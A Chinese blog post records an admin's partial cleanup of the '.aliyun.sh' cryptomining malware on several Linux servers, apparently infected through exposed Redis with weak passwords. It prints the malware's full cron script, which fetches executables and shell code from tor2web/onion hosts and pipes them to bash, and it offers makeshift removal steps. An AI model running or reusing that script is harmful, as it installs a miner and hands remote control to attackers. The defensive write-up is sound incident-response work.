1. 昨天晚上同事打电话给我说自己的服务器上面的redis无故被清空了,并且查看aof 日志有很多 wget和write指令

一想就是大事不好.局域网中病毒了..

2. 今天早上到公司忙完一阵简单看了下,就发现了五台机器中病毒. (悲伤无以言表)

3. 现象: CPU暴高, 通过虚拟化控制台就能看到

4. 进入虚拟机简单查看一下. 使用top 就能看到

5. 最简单的查看流程. 先看计划任务

crontab -e

病毒的脚本文件为:

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
t=trumps4c4ohxvq7o
dir=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
for i in /usr/bin $dir /dev/shm /tmp /var/tmp;do touch $i/i && cd $i && rm -f i && break;done
x() {
f=/int
d=./$(date|md5sum|cut -f1 -d-)
wget -t1 -T10 -qU- --no-check-certificate $$f -O$d || curl -m10 -fsSLkA- $$f -o$d
chmod +x $d;$d;rm -f $d
}
u() {
x=/crn
wget -t1 -T10 -qU- -O- --no-check-certificate $$x || curl -m10 -fsSLkA- $$x
}
for h in tor2web.io 4tor.ml onion.mn onion.in.net onion.to d2web.org civiclink.network onion.ws onion.nz onion.glass tor2web.su
do
if ! ls /proc/$(cat /tmp/.X11-unix/)/io; then
x trumps4c4ohxvq7o.$h
else
break
fi
done if ! ls /proc/$(cat /tmp/.X11-unix/)/io; then
(
u $t.tor2web.io ||
u $t.4tor.ml ||
u $t.d2web.org ||
u $t.onion.mn ||
u $t.onion.in.net ||
u $t.onion.to ||
u $t.civiclink.network ||
u $t.onion.pet ||
u $t.tor2web.su ||
u $t.onion.glass ||
u $t.onion.ws
)|bash
fi

中病毒无疑

删了这条记录,并且将刚才的哪个进程杀掉.

6.删除root目录下的文件

rm -rf /root/.aliyun.sh

7. /usr/bin 目录下还有别的东西 暂时没时间看...

8. 暂时关闭cron的服务避免再次被安装 (周六中午发现没卵用,)

systemctl disable crond && systemctl stop crond

9. 创建一个.aliyun.sh的文件并且增加上不可修改的权限等

touch /root/.aliyun.sh
chmod /root/.aliyun.sh
chattr +i /root/.aliyun.sh
mv /usr/bin/chattr /usr/bin/fuckchattr

10. 初步结论

1. redis 0.0.0.0 弱密码必须要修改
2.root账户的弱密码口令必须处理 也有没开redis端口有感染的情况.
3. ssh 互信的机器要关注一下.

  

11. 12.8 凌晨继续补充

病毒很变态 发现还有一个驻留进程不占CPU ,所以不能仅通过htop来查看进程还要通过pstree来去查找病毒进程

如图示。

        ├─packagekitd───*[{packagekitd}]
├─pcscd───*[{pcscd}]
├─polkitd───*[{polkitd}]
├─postmaster───*[postmaster]
├─pulseaudio───{pulseaudio}
├─rngd
├─rpcbind
├─rsyslogd───*[{rsyslogd}]
├─rtkit-daemon───*[{rtkit-daemon}]
├─smartd
├─sqlservr─┬─sqlservr───*[{sqlservr}]
│ └─{sqlservr}
├─sshd───sshd───bash───pstree
├─systemd-journal
├─systemd-logind
├─systemd-udevd
├─tnslsnr───{tnslsnr}
├─tuned───*[{tuned}]
├─udisksd───*[{udisksd}]
├─upowerd───*[{upowerd}]
├─vmtoolsd
├─wpa_supplicant
├─xdg-permission-───*[{xdg-permission-}]
└─y0qYwK

简单分析一下这个进程。发现 的确会出发新的任务来挖矿,只能先简单的干掉这个进程。再看看有没有进程出现。

二进制文件 直接被删除掉了很难搞。

索性将/usr/bin 目录设置只读属性不允许写入再进行尝试。

/opt 目录下面也有aliyun.sh

刚才反查了下域名 四月份到六月份注册的。 应该是新变种病毒。

12. 继续补充

发现病毒目录采取了 在/tmp 目录下面的文件

使用lsof简单查询一下到底用到了进程然后杀之

文件路径为:

/tmp/.X11-unix
[root@CentOS77 .X11-unix]# lsof
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
EyLyU3 root 0w REG ,
[root@CentOS77 .X11-unix]# ll /proc//
total

顺便干掉这个目录继续观察

rm -rf /tmp/.X11-unix/

局域网Linux机器中病毒简单处理 .aliyun.sh 挖矿病毒 ---不彻底的更多相关文章

  1. maven项目引入外部第三方jar包,引入、本地编译、第三方jar一起打到jar中、在linux机器中解决classnotfound(配置classpath),笔记整理。

    文章目录 引用的第三方jar的目录结构(示例) 引入第三方jar进行dependency使项目内能import 本地编译 第三方jar一起打到jar中 在linux机器中解决classnotfound ...

  2. Linux学习过程中的简单命令

    1.su su- 与 sudo     (1) 普通用户和root转换:su 用户名或root              不知道root密码的情况下:普通 -> root:sudo su roo ...

  3. 直接远程下载或上传文件到linux系统中的简单办法

    如果执行sz 或者rz 没有这个命令,则安装lrzsz包执行:yum install lrzsz 等待安装完毕,然后一直输入Y即可. sz:将选定的文件发送(send)到本地机器 -a 以文本方式传输 ...

  4. linux 服务器被植入ddgs、qW3xT.2挖矿病毒处理记录

    被入侵后的现象: 发现有qW3xT.2与ddgs两个异常进程,消耗了较高的cpu,kill掉后 过一会就会重新出现. kill 掉这两个异常进程后,过一段时间看到了如下进程: 首先在/etc/sysc ...

  5. Linux系统中到底应该怎么理解系统的平均负载

    02 | 基础篇:到底应该怎么理解“平均负载”? 每次发现系统变慢时,我们通常做的第一件事,就是执行 top 或者 uptime 命令,来了解系统的负载情况.比如像下面这样,我在命令行里输入了 upt ...

  6. Linux内核中链表的实现与应用【转】

    转自:http://blog.chinaunix.net/uid-27037833-id-3237153.html 链表(循环双向链表)是Linux内核中最简单.最常用的一种数据结构.         ...

  7. 今天在Mac机器上使用了Flex Builder编辑了一个源代码文件,保存后使用vim命令去打开时发现系统自动在每一行的结尾添加了^M符号,其实^M在Linux/Unix中是非常常见的,也就是我们在Win中见过的/r回车符号。由于编辑软件的编码问题,某些IDE的编辑器在编辑完文件之后会自动加上这个^M符号。看起来对我们的源代码没有任何影响,其实并不然,当我们把源代码文件Check In到svn之类

    今天在Mac机器上使用了Flex Builder编辑了一个源代码文件,保存后使用vim命令去打开时发现系统自动在每一行的结尾添加了^M符号,其实^M在Linux/Unix中是非常常见的,也就是我们在W ...

  8. [软件测试]Linux环境中简单清爽的Google Test (GTest)测试环境搭建(初级使用)

    本文将介绍单元测试工具google test(GTEST)在linux操作系统中测试环境的搭建方法.本文属于google test使用的基础教程.在linux中使用google test之前,需要对如 ...

  9. 学习Linux系统中命令的简单方法

    如果说如何快速学习.了解Linux的话,我的答案是学命令.背命令!为何呢?对于一名新手来说,去学习Linux的思想.了解Linux的架构.明白Linux中“一切皆文件”概念虽然说是没有错,是对的.但是 ...

随机推荐

  1. 2019 北森java面试笔试题 (含面试题解析)

      本人5年开发经验.18年年底开始跑路找工作,在互联网寒冬下成功拿到阿里巴巴.今日头条.北森等公司offer,岗位是Java后端开发,因为发展原因最终选择去了北森,入职一年时间了,也成为了面试官,之 ...

  2. 4. 移动安全渗透测试-(Android逆向基础)

    4.1 smali 基础 1.注释 smali中使用#来代表注释一行例如:# const-string v0, "aaa" #这句不会被执行 2.数据类型 V void,只能用于返 ...

  3. vue学习指南:第六篇(详细) - Vue的组件 component

    1. 什么是组件?有两种解释 1. 第一种解释: 什么是组件? 1. 组件是 vue 中的一个可复用的实例,所以new Vue() 是vue中最大的那个组件(根组件),有名字,使用的时候以单标签或双标 ...

  4. AI人脸识别的测试重点

    最常见的 AI应用就是人脸识别,因此这篇文章从人脸识别的架构和核心上,来讲讲测试的重点. 测试之前需要先了解人脸识别的整个流程,红色标识代表的是对应AI架构中的各个阶段 首先是人脸采集. 安装拍照摄像 ...

  5. du查看某个文件或目录占用磁盘空间的大小

    一.du的功能:`du` reports the amount of disk space used by the specified files and for each subdirectory  ...

  6. centos7 安装gitlab及简单配置

    1.安装 wget -O gitlab.rpm https://packages.gitlab.com/gitlab/gitlab-ce/packages/el/7/gitlab-ce-11.11.3 ...

  7. 基于Anaconda编译caffe+pycaffe+matcaffe in Ubuntu[不用sudo权限]

    目录 caffe 编译 环境 github下载caffe源码 依赖 修改源码的编译配置 报错 测试使用 pycaffe caffe matcaffe caffe 编译 环境 Ubuntu16.04 C ...

  8. 习题6-2 使用函数求特殊a串数列和

    #include <stdio.h> int fn(int a, int n); int SumA(int a, int n); int main() { int a, n; scanf_ ...

  9. IDEA优秀插件分享之---Mybatis Log Plugin

    小伙伴们在使用mybatis的时候有时候会出现一些sql异常,这个时候就需要对执行的sql语句进行检查.然而mybatis一般使用log4j打印执行的sql语句,类型下面这种的: 这个时候如果sql语 ...

  10. Flask框架入门(一)

    Flask诞生于2010年,是Armin ronacher(人名)用 Python 语言基于 Werkzeug 工具箱编写的轻量级Web开发框架. Flask 本身相当于一个内核,其他几乎所有的功能都 ...